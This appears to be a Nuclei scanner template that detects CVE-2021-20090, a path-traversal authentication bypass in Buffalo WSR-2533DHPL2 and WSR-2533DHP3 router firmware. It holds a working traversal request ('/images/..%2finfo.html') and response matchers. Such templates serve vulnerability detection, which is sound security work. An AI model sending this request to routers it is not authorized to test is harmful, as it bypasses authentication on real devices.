id: CVE-2021-20090

info:
  name: Buffalo WSR-2533DHPL2 - Path Traversal
  author: gy741
  severity: critical
  description: |
    A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote attackers to bypass authentication.
  reference: |
      - https://nvd.nist.gov/vuln/detail/CVE-2021-20090
      - https://www.tenable.com/security/research/tra-2021-13
      - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
  tags: cve,cve2021,lfi,buffalo,firmware,iot

requests:
  - raw:
      - |
        GET /images/..%2finfo.html HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/info.html

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'URLToken(cgi_path)'
          - 'pppoe'
          - 'wan'
        condition: and